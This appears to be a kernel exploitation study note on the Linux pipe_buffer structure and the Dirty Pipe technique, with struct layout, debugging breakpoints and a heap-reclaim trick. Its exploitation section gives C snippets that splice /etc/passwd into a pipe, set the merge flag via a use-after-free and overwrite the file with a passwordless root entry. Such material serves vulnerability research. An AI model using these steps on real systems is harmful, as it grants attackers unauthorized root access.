pipe_buffer
Dirty Pipe Attack
1.
pipe_bufferStructure
- defined in
include/linux/pipe_fs_i.h. - introduced in 5.8
struct pipe_buffer {
struct page *page; // The physical page containing data
unsigned int offset; // Offset into the page
unsigned int len; // Length of data
const struct pipe_buf_operations *ops; // Pointer to operations (can be NULL)
unsigned int flags; // PIPE_BUF_FLAG_X
unsigned int padding; // Alignment padding
unsigned long private; // Private data
};
-
page: Points to the physical page of memory currently held by the pipe. -
ops: A pointer to the operations table. This is critical—ifflagsis missing thePIPE_BUF_FLAG_CAN_MERGEflag, the kernel won’t try to merge new writes, but if manipulated, it can cause the kernel to use uninitialized or attacker-controlled memory. flags: This member is the key to the exploit. By setting thePIPE_BUF_FLAG_CAN_MERGEflag, you trick the kernel into thinking it can write new data into a page that is already cached, even if the file is read-only (like a root-owned file).-
Size and Alignment:
- On 64-bit systems, the structure is 40 bytes.
- The
privatemember is 8 bytes, and theflagsfield is 4 bytes. The compiler adds 4 bytes of padding to ensure theprivatemember is 8-byte aligned.
2. Exploitation
The vulnerability allows you to inject PIPE_BUF_FLAG_CAN_MERGE into a pipe_buffer that was initialized with a read-only file’s page.
- Fill the Pipe: Create a pipe and fill it with data. This causes the kernel to allocate
pipe_bufferstructures.
int pipefd[2];
pipe(pipefd);
write(pipefd[1], "wwwww", 5);
- Splice Read-Only File: Use the
splice()system call to “splice” a read-only file into the pipe. The kernel places a reference to the file’s page into thepipe_buffer. Crucially, it does not set thePIPE_BUF_FLAG_CAN_MERGEflag.
int passwdfd = open("/etc/passwd", O_RDONLY);
ret = splice(passwdfd, &offset, pipefd[1], NULL, 1, 0);
- Modify the flags: Use UAF to overwrite flags with
PIPE_BUF_FLAG_CAN_MERGE- 0x10 - Overwrite : Edit the passwd page using pipefd. Now it allows to overwrite after setting the flag
char passwd[29];
memset(passwd,0,sizeof(passwd));
strcpy(passwd, "oot::0:0:root:/root:/bin/sh\n");
ret = write(pipefd[1], passwd, strlen(passwd));
NOTE: Vulnerable kernel version allows to exploit dirty pipe without UAF https://dirtypipe.cm4all.com/
Exploitation 2
If you have UAF on any other cache, then resize the pipe_buffer ring array to that size. This forces it reclaim our UAF object for ring buffer array
// Increase the size of pipe ring buffer
// Each pipe_buffer struct holds one page
// So each page corresponds to one pipe_buffer struct,
// meaning sizeof(pipe_buffer) * number of pages should be kmalloc-4096
// sizeof(pipe_buffer) = ~40, 55 * 40 = 2200 (lands in kmalloc-4096)
// Since each pipe holds a page, we need to allocate (1 page size * total target pages)
fcntl(pipefds,F_SETPIPE_SZ,55*0x1000); //Pulls a object from kmalloc-4096
3. Debugging
- splice_folio_into_pipe - Interesting function to set breakpoint on gdb and check the pipe_buffer struct creation
- pipe_resize_ring - Function that calls kmalloc and resizes the pipe_buffer ring buffer array when fcntl is used to resize it
Blog Link: https://a13xp0p0v.github.io/2026/04/20/pipe-buffer-experiments.htm